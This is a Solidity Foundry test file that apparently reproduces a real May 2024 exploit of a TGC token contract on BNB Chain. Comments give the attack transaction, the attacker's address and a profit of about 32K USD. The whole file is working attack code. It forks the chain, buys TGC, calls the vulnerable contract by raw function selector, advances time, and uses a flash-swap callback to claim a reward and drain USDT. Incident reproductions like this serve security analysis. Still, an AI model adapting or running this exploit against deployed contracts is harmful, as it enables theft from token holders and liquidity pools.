src/test/2024-05/TGC_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7 
8// TX : https://app.blocksec.com/explorer/tx/bsc/0x12e8c24dec36a29fdd9b9d7a8b587b3abd2519089b6438c194e6e5eb357b68d8
9// Attacker : https://bscscan.com/address/0x36fb87c3e65ec608d37e38bd556fb6ebdb3d8a39
10// Attack Contract : https://etherscan.io/address/0x3E1c5Ddd39801C1e72e5aB7E19c614fd398747f8, 
11// GUY : https://x.com/ChainAegis/status/1789490986588205529
12// Profit : ~32K USD
13 
14contract ContractTest is Test {
15    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
16    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
17    Uni_Pair_V2 Pair = Uni_Pair_V2(0xBb33668bAe76A6394683DeEf645487e333b8fC45);
18    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
19    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
20    IERC20 TGC = IERC20(0x523aA213FE806778Ffa597b6409382fFfcc12De2);
21    address vulnContract = 0x32F9188d6D86Bf88dbAc3ceEe5958aDf1aa609df;
22 
23    function setUp() external {
24        vm.createSelectFork("bsc", 38_623_654);
25        deal(address(USDT), address(this), 200 ether);
26    }
27 
28    function testExploit() external {
29        emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);
30        attack();
31        // emit log_named_decimal_uint("[End] Attacker TGC after exploit", TGC.balanceOf(address(this)), 18);
32        swap_token_to_token(address(TGC), address(USDT), TGC.balanceOf(address(this)));
33 
34        emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);
35    }
36 
37    function attack() public {
38        swap_token_to_token(address(USDT), address(TGC), 100 ether);
39        approveAll();
40        address(vulnContract).call(abi.encodeWithSelector(bytes4(0x836aefb0), 100_000_000_000_000_000_000));
41        vm.warp(block.timestamp + 5 hours);
42        // emit log_named_decimal_uint("Pair USDT balance", USDT.balanceOf(address(Pair)), 18);
43        // emit log_named_decimal_uint("address(this) TGC balance", TGC.balanceOf(address(vuln)), TGC.decimals());
44        Pair.swap(0, 29_809 ether, address(this), new bytes(0x31));
45    }
46 
47    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
48        address(vulnContract).call(abi.encodeWithSelector(bytes4(0xfd5a466f)));
49        USDT.transfer(address(Pair), 29_809 ether);
50        TGC.transfer(address(Pair), 80 ether);
51    }
52 
53    function swap_token_to_token(address a, address b, uint256 amount) internal {
54        IERC20(a).approve(address(Router), amount);
55        address[] memory path = new address[](2);
56        path[0] = address(a);
57        path[1] = address(b);
58        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
59    }
60 
61    function approveAll() internal {
62        TGC.approve(address(vulnContract), type(uint256).max);
63    }
64 
65    function getreserves(
66        uint256 stepNum
67    ) public {
68        console.log("Step %i", stepNum);
69        (uint256 reserveIn, uint256 reserveOut,) = Pair.getReserves();
70        emit log_named_decimal_uint("ReserveIn", reserveIn, 18);
71        emit log_named_decimal_uint("ReserveOut", reserveOut, 18);
72    }
73}